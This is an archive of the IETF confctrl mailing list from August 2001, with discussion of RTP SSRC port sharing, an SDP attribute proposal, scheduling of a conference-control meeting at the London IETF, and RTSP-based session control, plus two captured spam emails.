>> > conference control. As the date and location for the meeting, I'd
like
>> > to propose Wednesday, 8pm at Fimona Restaurant and Bar, located at
>> > Hilton (IETF venue).
>> > 
>> > Everyone is welcome to participate. The goal of this meeting is
>> > to determine what steps might be done in the future to bring
>> > this topic in the IETF.
>> > 
>> > Best Regards,
>> > 
>> > Dirk Trossen
>> >

From confctrl-owner  Tue Aug  7 14:48:51 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA15705
	for confctrl-outgoing; Tue, 7 Aug 2001 14:48:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA15700
	for <confctrl@zephyr.isi.edu>; Tue, 7 Aug 2001 14:48:50 -0700 (PDT)
Received: from mail2.dynamicsoft.com (mail2.dynamicsoft.com [216.173.40.52])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f77Lmrm16665
	for <confctrl@isi.edu>; Tue, 7 Aug 2001 14:48:53 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (bluebird [216.173.40.50])
	by mail2.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f77LmBw3020927;
	Tue, 7 Aug 2001 17:48:12 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <QCDMJ72N>; Tue, 7 Aug 2001 17:48:49 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF020D64AF@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Fairlie-Cuninghame, Robert'" <rfairlie@nuera.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: "''avt@ietf.org' '" <avt@ietf.org>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: RE: [AVT] Re: RTP/RTCP Port Sharing (SSRC)
Date: Tue, 7 Aug 2001 17:48:45 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Fairlie-Cuninghame, Robert [mailto:rfairlie@nuera.com]
> Sent: Tuesday, July 31, 2001 3:22 PM
> To: 'Jonathan Rosenberg'
> Cc: ''avt@ietf.org' '; 'confctrl@isi.edu'
> Subject: RE: [AVT] Re: RTP/RTCP Port Sharing (SSRC)
> 
> 
> 
> > > 
> > > It would be nice to have a mechanism which does not rely on 
> > > application
> > > specific capabilities. I don't know if thats possible. I'll 
> > > also note that
> > > if you can have these properties from the application layer, 
> > > I don't need
> > > ranges anymore either. In the case of forked early media, the 
> > > caller can
> > > tell each early media sender to use a specific SSRC. This 
> > > way, each sender
> > > is using a different SSRC. 
> > > 
> > 
> > I guess you could always kludge it with RTCP by inventing 
> > imaginary RTCP
> > receiver (fake an SSRC collision) but that is very nasty and 
> > has another
> > problem. The problem with doing any SSRC collision resolution 
> > entirely at
> > the transport/RTP level is that you lose the ability to correlate
> > media-flows with application sessions in a transport 
> > independent manner.
> > 
> 
> Actually, I guess you could provide the CNAME in the ssrc (or 
> "rtpssrc")
> attribute which would thereby allow you to maintain the session-level
> correlation even when an SSRC collision occurs (which should 
> be resolvable
> using standard RTCP methods). The "rtpssrc" attribute 
> maintains the other
> properties such as the session separation for RTP & RTCP 
> packets and some
> probabilistic protection from blind attacks and systematic 
> errors (where
> appropriate).
> 
> So here would be my new format suggestion:
> 
> rtpssrc-attribute = "x-rtpssrc:" rx-ssrc-mask SP tx-ssrc-info [SP
> tx-ssrc-cname]
> rx-ssrc-mask = *(HEXDIGIT) *("x")
> 	where rx-ssrc-mask is 1-8 characters in length
> tx-ssrc-info = tx-ssrc-seed | "mixer" | "-"
> tx-ssrc-seed = 1*(HEXDIGIT)
> 	where tx-ssrc-seed is 1-8 characters in length
> tx-ssrc-cname = token | quoted-string
> 	[this is the CNAME value used in RTCP reports]
> 
> A tx-ssrc-info value of "mixer" indicates that multiple 
> ssrc's will be sent
> and that receiver must use the same rx-ssrc-mask (or simply 
> "xxxxxxxx") when
> receiving RTP & RTCP packets (and should specify the same 
> rx-ssrc-mask value
> in the reverse SDP if one is generated). A value of "-" 
> indicates that the
> forward SSRC information is not available.
> 
> The "mixer" value should be useful in Single Source Multicast 
> sessions where
> one server does all the RTP/RTCP mixing & distribution and all other
> participants merely send back to the server (as described in 
> that draft).
> The server may request participants to use a certain SSRC 
> port range (to
> separate sessions on the same port pair) but all participants must not
> select a different range in the reverse direction.

Hmm, I suspect you would not use SSRC ranges at all for the multicast group,
only for the recvonly streams towards the mixer. In that case, you don't
need to introduce this mixer flag. 

-Jonathan R.

From confctrl-owner  Tue Aug  7 15:56:30 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA20281
	for confctrl-outgoing; Tue, 7 Aug 2001 15:56:30 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA20275
	for <confctrl@zephyr.isi.edu>; Tue, 7 Aug 2001 15:56:29 -0700 (PDT)
Received: from purple.east.isi.edu (host217-33-137-108.ietf.ignite.net [217.33.137.108])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f77MuWm12380
	for <confctrl@ISI.EDU>; Tue, 7 Aug 2001 15:56:33 -0700 (PDT)
Received: from purple (localhost [127.0.0.1])
	by purple.east.isi.edu (8.9.3/8.9.3) with ESMTP id SAA09310;
	Tue, 7 Aug 2001 18:56:29 -0400
Message-Id: <200108072256.SAA09310@purple.east.isi.edu>
To: "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>
cc: eunah@etri.re.kr, jo@tzi.uni-bremen.de, cabo@tzi.org, dku@tzi.org,
        confctrl@ISI.EDU
Subject: Re: 1-to-many session control 
In-Reply-To: Your message of "Tue, 07 Aug 2001 15:22:20 CDT."
             <B9CFA6CE8FFDD211A1FB0008C7894E4604B9E779@bseis01nok> 
Date: Tue, 07 Aug 2001 23:56:29 +0100
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I've just been reminded of a SIP meeting after the plenary on Wednesday. Is
there another time it can be scheduled?
Colin


--> "Trossen Dirk (NRC/Boston)" writes:
>Hi all,
>
>based on the several time slot proposals for the conference control
>meeting, let's make a 10.30 pm out of it, same place. I'm sorry for 
>the overlap with other activities on Wednesday, though I hope that
>enough interested people will have the opportunity to attend.
>
>Best Regards,
>
>
>
>
>Dirk
>
>-----Original Message-----
>From: ext Colin Perkins [mailto:csp@ISI.EDU]
>Sent: Tuesday, August 07, 2001 12:38 PM
>To: eunah@etri.re.kr
>Cc: Dirk.Trossen@nokia.com; jo@tzi.uni-bremen.de; cabo@tzi.org;
>dku@tzi.org; confctrl@ISI.EDU
>Subject: Re: 1-to-many session control 
>
>
>Make it 10:30, to give the plenary time to finish. 
>Colin
>
>--> eunah@etri.re.kr writes:
>><If you get duplicated message of it, sorry for bothering you.
>>But, I got "deliver fail"messages, so try to send it again.>
>>
>>
>>Hi all,
>>
>>I'd love to participate the meeting, and hope to discuss futher steps
>of 
>>session control including one-to-many session control.
>>
>>> Wednesday is the IETF plenary and thus, some of us can't attend. I
>don't
>>> think it is appropriate to schedule things during that time.
>>
>>Then why don't we meet after the plenary. I think around 9:30 or 10:00
>pm
>>will be fine with me.
>>
>>Best regards,
>>
>>Eunsook Kim
>>
>>
>>> "Trossen Dirk (NRC/Boston)" wrote:
>>> > 
>>> > Hi all,
>>> > 
>>> > as already announced last week, I would like to meet during the
>London
>>> > IETF to discuss further steps regarding efforts in the IETF to
>address
>>> > conference control. As the date and location for the meeting, I'd
>like
>>> > to propose Wednesday, 8pm at Fimona Restaurant and Bar, located at
>>> > Hilton (IETF venue).
>>> > 
>>> > Everyone is welcome to participate. The goal of this meeting is
>>> > to determine what steps might be done in the future to bring
>>> > this topic in the IETF.
>>> > 
>>> > Best Regards,
>>> > 
>>> > Dirk Trossen
>>> >

From confctrl-owner  Wed Aug  8 01:37:02 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA16482
	for confctrl-outgoing; Wed, 8 Aug 2001 01:37:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA16477
	for <confctrl@zephyr.isi.edu>; Wed, 8 Aug 2001 01:37:00 -0700 (PDT)
Received: from mgw-dax1.ext.nokia.com (mgw-dax1.ext.nokia.com [63.78.179.216])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f788b3m05621;
	Wed, 8 Aug 2001 01:37:03 -0700 (PDT)
Received: from davir04nok.americas.nokia.com (davir04nok.americas.nokia.com [172.18.242.87])
	by mgw-dax1.ext.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f788ali26139;
	Wed, 8 Aug 2001 03:36:52 -0500 (CDT)
Received: from daebh001.NOE.Nokia.com (unverified) by davir04nok.americas.nokia.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T553ca57e94ac12f257079@davir04nok.americas.nokia.com>;
 Wed, 8 Aug 2001 03:34:58 -0500
content-class: urn:content-classes:message
Subject: RE: 1-to-many session control 
Date: Wed, 8 Aug 2001 03:34:50 -0500
Message-ID: <B9CFA6CE8FFDD211A1FB0008C7894E4604B9E77B@bseis01nok>
X-MS-Has-Attach: 
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-MS-TNEF-Correlator: 
Thread-Topic: 1-to-many session control 
Thread-Index: AcEflDH//ETjKouAEdWpVgBQi2kYTQAUJinw
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
From: "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>
To: "'ext Colin Perkins'" <csp@ISI.EDU>,
        "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>
Cc: <eunah@etri.re.kr>, <jo@tzi.uni-bremen.de>, <cabo@tzi.org>, <dku@tzi.org>,
        <confctrl@ISI.EDU>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id BAA16478
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Unfortunately, I'm gonna leave on Thursday morning.
Any earlier time seems also be impossible. I'll
post the discussion results on the mailing list for
further discussion after the London meeting.


Dirk

-----Original Message-----
From: ext Colin Perkins [mailto:csp@ISI.EDU]
Sent: Tuesday, August 07, 2001 6:56 PM
To: Trossen Dirk (NRC/Boston)
Cc: eunah@etri.re.kr; jo@tzi.uni-bremen.de; cabo@tzi.org; dku@tzi.org;
confctrl@ISI.EDU
Subject: Re: 1-to-many session control 


I've just been reminded of a SIP meeting after the plenary on Wednesday.
Is
there another time it can be scheduled?
Colin


--> "Trossen Dirk (NRC/Boston)" writes:
>Hi all,
>
>based on the several time slot proposals for the conference control
>meeting, let's make a 10.30 pm out of it, same place. I'm sorry for 
>the overlap with other activities on Wednesday, though I hope that
>enough interested people will have the opportunity to attend.
>
>Best Regards,
>
>
>
>
>Dirk
>
>-----Original Message-----
>From: ext Colin Perkins [mailto:csp@ISI.EDU]
>Sent: Tuesday, August 07, 2001 12:38 PM
>To: eunah@etri.re.kr
>Cc: Dirk.Trossen@nokia.com; jo@tzi.uni-bremen.de; cabo@tzi.org;
>dku@tzi.org; confctrl@ISI.EDU
>Subject: Re: 1-to-many session control 
>
>
>Make it 10:30, to give the plenary time to finish. 
>Colin
>
>--> eunah@etri.re.kr writes:
>><If you get duplicated message of it, sorry for bothering you.
>>But, I got "deliver fail"messages, so try to send it again.>
>>
>>
>>Hi all,
>>
>>I'd love to participate the meeting, and hope to discuss futher steps
>of 
>>session control including one-to-many session control.
>>
>>> Wednesday is the IETF plenary and thus, some of us can't attend. I
>don't
>>> think it is appropriate to schedule things during that time.
>>
>>Then why don't we meet after the plenary. I think around 9:30 or 10:00
>pm
>>will be fine with me.
>>
>>Best regards,
>>
>>Eunsook Kim
>>
>>
>>> "Trossen Dirk (NRC/Boston)" wrote:
>>> > 
>>> > Hi all,
>>> > 
>>> > as already announced last week, I would like to meet during the
>London
>>> > IETF to discuss further steps regarding efforts in the IETF to
>address
>>> > conference control. As the date and location for the meeting, I'd
>like
>>> > to propose Wednesday, 8pm at Fimona Restaurant and Bar, located at
>>> > Hilton (IETF venue).
>>> > 
>>> > Everyone is welcome to participate. The goal of this meeting is
>>> > to determine what steps might be done in the future to bring
>>> > this topic in the IETF.
>>> > 
>>> > Best Regards,
>>> > 
>>> > Dirk Trossen
>>> >

From confctrl-owner  Wed Aug  8 01:56:55 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id BAA17557
	for confctrl-outgoing; Wed, 8 Aug 2001 01:56:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA17543
	for <confctrl@zephyr.isi.edu>; Wed, 8 Aug 2001 01:56:53 -0700 (PDT)
Received: from poxy.bigpond.net.au ([144.137.146.32])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f788utm08630
	for <confctrl@isi.edu>; Wed, 8 Aug 2001 01:56:56 -0700 (PDT)
Received: from Director (director [192.168.0.10])
	by poxy.bigpond.net.au (8.9.3/8.9.3/Debian 8.9.3-21) with SMTP id TAA02108
	for <confctrl@isi.edu>; Wed, 8 Aug 2001 19:03:09 +1000
Message-Id: <200108080903.TAA02108@poxy.bigpond.net.au>
From: "Damian Andrews" <md@drawcard.com>
To: <confctrl@ISI.EDU>
Date: Wed, 08 Aug 01 18:56:05 +1000
Subject: Deadline for .biz & .info approaches!!
Reply-To: "Damian Andrews" <md@drawcard.com>
X-Mailer: EMailing List Pro 3.7
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_04WDq8I.3YGLR1ID"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_04WDq8I.3YGLR1ID
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7Bit

Dear Registrant, 	

The most anticipated event since the first release of the dotcoms is here!
If you haven't already done so it's time to pre-register your .biz and .info
'Top Level Domain Names' and stake your claim in what is fast becoming a LAND
RUSH, "larger than the .com phenomena". 

With the deadline to pre-register your .biz Sept 17, 2001 and Sept 12, 2001
for .info domains approaching (your only real opportunity to secure a great
.biz and/or .info) you must act now secure your trading or generic name(s).
At the close of these periods all pre-registrations will be processed first. 

Up for grabs are names like; news.biz, show.biz and adult.info because of
the 'Round Robin' [Not First Come First Serve] selection method adopted by
ICANN, the release has effectively become "The Worlds Largest Lottery".

We offer you [but only until September 18th 2001] to pre-register your
selection of great names with three of the largest biz & .info registrars [Our
Channel Partners] in a 3-5 minute process for one low price [as low as US$3.50
per name] this is the lowest price available anywhere including The
Registrars Themselves.

Heres how it works!
Pre-register with one, two or all three of our channel partners at the same
time and increase your chances of securing names like 'show.biz or
easy.info' up to 300%. Pre-register as many names as you like and save up to 50% with
volume discounts.

Free.biz!
Want to pre-register names like adult.biz for FREE. Easy.biz, simply go to
www.drawcard.com enter in your email address at our affiliate page and I will
send you an email, with your unique ID that can be forward to all in your
address book then all who enter the site by way of that link will earn you
US$1.00 per pre-registration. We have people registering 100+ names at a time.
Now that's a good.biz! Any and all names you decide to register can come
directly off your earnings or if you prefer I will send you a cheque!

More_Free.info 
·	For every 20 names or more you pre-register we will give you free for one
year a sub-domain name from the very best of our 'channels partners' like
'yourname@pro.biz', 'yourname@badboy.info'.
·	Free home page with every account.
·	Free email with every account.

This is your very best opportunity to secure 'yourfuture.biz'.
But you must Pre-Register and you must do it NOW.

Want to see more:
http://www.drawcard.com
(If this link is not working please cut and paste the link into your
browser)



If you have received this mailing in error, or do not wish to receive any
further mailings from us, simply click here put in your email address and add
Remove to the subject line:

http://www.drawcard.com/index.cfm?fuseaction=CompanyInfo

Damian Andrews
MD Drawcard.com
------=_NextPart_000_04WDq8I.3YGLR1ID--


From confctrl-owner  Wed Aug  8 03:49:16 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA22872
	for confctrl-outgoing; Wed, 8 Aug 2001 03:49:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA22867
	for <confctrl@zephyr.isi.edu>; Wed, 8 Aug 2001 03:49:15 -0700 (PDT)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f78AnJm24589
	for <confctrl@isi.edu>; Wed, 8 Aug 2001 03:49:19 -0700 (PDT)
Received: from usw-sf-web1-b.sourceforge.net ([10.3.1.5] helo=usw-sf-web1.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15UQtl-0008Sy-00; Wed, 08 Aug 2001 03:49:13 -0700
Received: from nobody by usw-sf-web1.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15UQtl-0001rj-00; Wed, 08 Aug 2001 03:49:13 -0700
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-449074 ] RTP Seqnum offset in Pause Play response
Message-Id: <E15UQtl-0001rj-00@usw-sf-web1.sourceforge.net>
Date: Wed, 08 Aug 2001 03:49:13 -0700
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #449074, was opened at 2001-08-08 03:49
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=449074&group_id=23194

Category: General
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Nobody/Anonymous (nobody)
Assigned to: Rob Lanphier (robla)
Summary: RTP Seqnum offset in Pause Play response

Initial Comment:
While implementing RTSP and RTP, there is a concernt
that after Pause, if Play request selects same stream 
but another random seqnum offset, RTP receiver may 
incrrectly report packet losses.

It is desirable to add a statement in future RTSP spec 
to require that the Play response use previous seqnum 
+ 1 as seqnum offset if the Play is to resume a paused 
stream.



----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=449074&group_id=23194

From confctrl-owner  Wed Aug  8 05:29:59 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA26512
	for confctrl-outgoing; Wed, 8 Aug 2001 05:29:59 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA26507
	for <confctrl@zephyr.isi.edu>; Wed, 8 Aug 2001 05:29:58 -0700 (PDT)
Received: from PENBRYN-1 (ndu-3-16.inweb.net.uk [213.210.23.16])
	by gamma.isi.edu (8.11.2/8.11.2) with SMTP id f78CTql06290
	for <confctrl@isi.edu>; Wed, 8 Aug 2001 05:29:55 -0700 (PDT)
Message-Id: <SAK.2001.08.08.sskkcneo@ty-yr-odyn>
Date: Wed, 8 Aug 2001 13:27:55 +0100
X-Priority: 3
From: "Benjamin Chapman" <benjamin.chapman@komtel.co.uk>
X-Mailer: MailMaster 2
To: confctrl@ISI.EDU
MIME-Version: 1.0
Subject: NEW BUSINESS OPPORTUNITY
Content-Type: Text/Html; charset=ISO-8859-1
Content-Transfer-Encoding: 8Bit
X-SMTP-Server: PostCast Server 1.0.0
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<BODY bgColor=#ffffff>
<DIV><FONT face=Arial size=2>Dear Sirs,</FONT></DIV>
<DIV><FONT face=Arial size=2>&nbsp;</FONT></DIV>
<DIV><FONT face=Arial size=2>We are a telephone service company based in the UK and we are seeking partners who are interested in hosting a server</FONT></DIV>
<DIV><FONT face=Arial size=2>for us which will be used to route voice & fax calls to the UK, either via the PSTN or via VOIP.  We need to be able to achieve</FONT></DIV>
<DIV><FONT face=Arial size=2>agressive pricing for the calls.</FONT></DIV>
<DIV><FONT face=Arial size=2>&nbsp;</FONT></DIV>
<DIV><FONT face=Arial size=2>We are willing to pay for the set-up and hosting with your company as well, of course, as the outbound calls to the UK.</FONT></DIV>
<DIV><FONT face=Arial size=2>&nbsp;</FONT></DIV>
<DIV><FONT face=Arial size=2>Can you help us?</FONT></DIV>
<DIV><FONT face=Arial size=2>&nbsp;</FONT></DIV>
<DIV><FONT face=Arial size=2>Please contact me:</FONT></DIV>
<DIV><FONT face=Arial size=2>&nbsp;</FONT></DIV>
<DIV><FONT face=Arial size=2>Benjamin Chapman</FONT></DIV>
<DIV><FONT face=Arial size=2>&nbsp;</FONT></DIV>
<DIV><FONT face=Arial size=2>Tel: +44 70 3040 4022</FONT></DIV>
<DIV><FONT face=Arial size=2>Fax: +44 70 3040 4099</FONT></DIV>
<DIV><FONT face=Arial size=2>Email: benjamin.chapman@komtel.co.uk</FONT></DIV>
<DIV><FONT face=Arial size=2>&nbsp;</FONT></DIV>
<DIV><FONT face=Arial size=2>============================================================================</FONT></DIV>
<DIV><FONT face=Arial size=2>                          INTERNATIONAL CALLSAVER - +44 70 5055 7000 - CALL AND DIAL ROUND THE WORLD!</FONT></DIV>
<DIV><FONT face=Arial size=2>======================
======================================================</FONT></DIV>



From confctrl-owner  Wed Aug  8 10:29:59 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA15403
	for confctrl-outgoing; Wed, 8 Aug 2001 10:29:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA15397
	for <confctrl@zephyr.isi.edu>; Wed, 8 Aug 2001 10:29:58 -0700 (PDT)
Received: from accord-ntsrv3.accord-domain ([212.199.61.2])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f78HTwm02161;
	Wed, 8 Aug 2001 10:29:59 -0700 (PDT)
Received: by ACCORD-NTSRV3 with Internet Mail Service (5.5.2650.21)
	id <QQT3KV9W>; Wed, 8 Aug 2001 20:27:30 +0200
Message-ID: <B2518D608282D511BEA400508BBB91480AEBB3@ACCORD-NTSRV3>
From: "Even ,Roni" <roni.even@polycom.co.il>
To: "'Trossen Dirk (NRC/Boston)'" <Dirk.Trossen@nokia.com>,
        "'ext Colin Perkins'" <csp@ISI.EDU>
Cc: eunah@etri.re.kr, jo@tzi.uni-bremen.de, cabo@tzi.org, dku@tzi.org,
        confctrl@ISI.EDU
Subject: RE: 1-to-many session control 
Date: Wed, 8 Aug 2001 20:27:20 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
I think the SIP meeting was canceled
Roni Even

-----Original Message-----
From: Trossen Dirk (NRC/Boston) [mailto:Dirk.Trossen@nokia.com]
Sent: Wednesday, August 08, 2001 10:35 AM
To: 'ext Colin Perkins'; Trossen Dirk (NRC/Boston)
Cc: eunah@etri.re.kr; jo@tzi.uni-bremen.de; cabo@tzi.org; dku@tzi.org;
confctrl@ISI.EDU
Subject: RE: 1-to-many session control 


Unfortunately, I'm gonna leave on Thursday morning.
Any earlier time seems also be impossible. I'll
post the discussion results on the mailing list for
further discussion after the London meeting.


Dirk

-----Original Message-----
From: ext Colin Perkins [mailto:csp@ISI.EDU]
Sent: Tuesday, August 07, 2001 6:56 PM
To: Trossen Dirk (NRC/Boston)
Cc: eunah@etri.re.kr; jo@tzi.uni-bremen.de; cabo@tzi.org; dku@tzi.org;
confctrl@ISI.EDU
Subject: Re: 1-to-many session control 


I've just been reminded of a SIP meeting after the plenary on Wednesday.
Is
there another time it can be scheduled?
Colin


--> "Trossen Dirk (NRC/Boston)" writes:
>Hi all,
>
>based on the several time slot proposals for the conference control
>meeting, let's make a 10.30 pm out of it, same place. I'm sorry for 
>the overlap with other activities on Wednesday, though I hope that
>enough interested people will have the opportunity to attend.
>
>Best Regards,
>
>
>
>
>Dirk
>
>-----Original Message-----
>From: ext Colin Perkins [mailto:csp@ISI.EDU]
>Sent: Tuesday, August 07, 2001 12:38 PM
>To: eunah@etri.re.kr
>Cc: Dirk.Trossen@nokia.com; jo@tzi.uni-bremen.de; cabo@tzi.org;
>dku@tzi.org; confctrl@ISI.EDU
>Subject: Re: 1-to-many session control 
>
>
>Make it 10:30, to give the plenary time to finish. 
>Colin
>
>--> eunah@etri.re.kr writes:
>><If you get duplicated message of it, sorry for bothering you.
>>But, I got "deliver fail"messages, so try to send it again.>
>>
>>
>>Hi all,
>>
>>I'd love to participate the meeting, and hope to discuss futher steps
>of 
>>session control including one-to-many session control.
>>
>>> Wednesday is the IETF plenary and thus, some of us can't attend. I
>don't
>>> think it is appropriate to schedule things during that time.
>>
>>Then why don't we meet after the plenary. I think around 9:30 or 10:00
>pm
>>will be fine with me.
>>
>>Best regards,
>>
>>Eunsook Kim
>>
>>
>>> "Trossen Dirk (NRC/Boston)" wrote:
>>> > 
>>> > Hi all,
>>> > 
>>> > as already announced last week, I would like to meet during the
>London
>>> > IETF to discuss further steps regarding efforts in the IETF to
>address
>>> > conference control. As the date and location for the meeting, I'd
>like
>>> > to propose Wednesday, 8pm at Fimona Restaurant and Bar, located at
>>> > Hilton (IETF venue).
>>> > 
>>> > Everyone is welcome to participate. The goal of this meeting is
>>> > to determine what steps might be done in the future to bring
>>> > this topic in the IETF.
>>> > 
>>> > Best Regards,
>>> > 
>>> > Dirk Trossen
>>> >

From confctrl-owner  Wed Aug  8 20:33:49 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA18135
	for confctrl-outgoing; Wed, 8 Aug 2001 20:33:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA18130
	for <confctrl@zephyr.isi.edu>; Wed, 8 Aug 2001 20:33:48 -0700 (PDT)
Received: from ns2.webfountain.com (mx2.webfountain.com [216.136.183.167])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f793Xpm04821
	for <confctrl@ISI.EDU>; Wed, 8 Aug 2001 20:33:52 -0700 (PDT)
Received: (qmail 24362 invoked from network); 9 Aug 2001 03:33:43 -0000
Received: from mail.intranet (10.1.1.37)
  by ns2.webfountain.com with SMTP; 9 Aug 2001 03:33:43 -0000
Received: from mikedell (pptp-10-1-129-56.intranet [10.1.129.56])
	by mail.intranet (8.9.3/8.9.3) with SMTP id UAA27005;
	Wed, 8 Aug 2001 20:33:37 -0700
X-Authentication-Warning: mail.intranet: Host pptp-10-1-129-56.intranet [10.1.129.56] claimed to be mikedell
From: "Michael Luby" <luby@digitalfountain.com>
To: "Rob Lanphier" <robla@real.com>, "Ross Finlayson" <finlayson@live.com>
Cc: "Rmt@Lbl. Gov" <rmt@lbl.gov>, <confctrl@ISI.EDU>,
        "Michael Luby" <luby@digitalfountain.com>,
        "Allison Mankin" <mankin@ISI.EDU>, <sob@harvard.edu>
Subject: RE: Session control protocol instantiation discussion within  the IETF
Date: Wed, 8 Aug 2001 20:37:44 -0700
Message-ID: <LEECJKFLPDAKCKACKOIBEEFHCAAA.luby@digitalfountain.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
In-Reply-To: <Pine.LNX.4.30.0108061528370.2206-100000@goobox.prognet.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

All,
I unfortunately was only at the IETF for a couple of days, and am back in
the Bay Area now.  I would first like to talk with the transport area
directorate (Scott and Allison) to get some advice on this, and then
probably followup with a conference call with whoever is interested.  Would
a conference call be ok with you Rob, Ross (and whoever else is
interested?).
Mike

-----Original Message-----
From: Rob Lanphier [mailto:robla@real.com]
Sent: Monday, August 06, 2001 3:36 PM
To: Ross Finlayson
Cc: Mike Luby; Rmt@Lbl. Gov; confctrl@ISI.EDU
Subject: Re: Session control protocol instantiation discussion within
the IETF


Yeah, what Ross said. It seems like we should be able to sit down this
week and figure out how to reformulate this as a proposal to extend RTSP.
This is roughly equivalent to the "Backchannel Multicast" feature we use
in RealServer (as distinguished from "Scalable Multicast" which doesn't
use the RTSP connection, but just serves an SDP file off of the HTTP port)

I'm here at the London meeting....let's try to catch up and sketch out an
RTSP version that meets your needs.

Rob

On Sun, 5 Aug 2001, Ross Finlayson wrote:

> At 04:03 PM 8/2/01, Mike Luby wrote:
> >In the upcoming RMT working group meeting at the IETF there will be a
> >discussion about whether or not a session control protocol instantiation
is:
> >
> >(1) within the mandate of the RMT working group
> >
> >(2) valuable assuming that the answer to (1) is "yes"
> >
> >The following draft is a description of a possible session control
protocol.
> >Note that this draft is not an official submission to the IETF, and its
> >content will not be reviewed at the IETF meeting.  This draft is
available
> >at:
> >
>
><http://www.digitalfountain.com/getDocument.htm/technology/library/draft-ie
